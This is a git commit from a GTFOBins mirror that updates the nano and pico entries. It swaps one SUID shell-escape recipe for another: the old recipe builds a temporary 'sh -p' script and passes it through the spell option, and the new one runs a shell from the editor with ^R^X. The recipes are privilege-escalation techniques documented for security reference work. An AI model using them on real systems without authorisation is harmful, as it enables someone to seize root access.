1
0
Fork 0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-06-19 01:59:37 +02:00

Update SUID in nano and pico

This commit is contained in:
Andrea Cardaci 2019-04-16 19:11:31 +02:00
parent f7baa8aee6
commit ac68a5864a
2 changed files with 6 additions and 12 deletions

View File

@ -20,12 +20,9 @@ functions:
suid:
- description: The `SPELL` environment variable can be used in place of the `-s` option if the command line cannot be changed.
code: |
TF=$(mktemp)
echo '#!/bin/sh -p
exec sh -p' > $TF
chmod +x $TF
./nano -s $TF /etc/hosts
^T
./nano
^R^X
reset; sh 1>&0 2>&0
sudo:
- code: |
sudo nano

View File

@ -20,12 +20,9 @@ functions:
suid:
- description: The `SPELL` environment variable can be used in place of the `-s` option if the command line cannot be changed.
code: |
TF=$(mktemp)
echo '#!/bin/sh -p
exec sh -p' > $TF
chmod +x $TF
./pico -s $TF /etc/hosts
^T
./pico
^R^X
reset; sh 1>&0 2>&0
sudo:
- code: |
sudo pico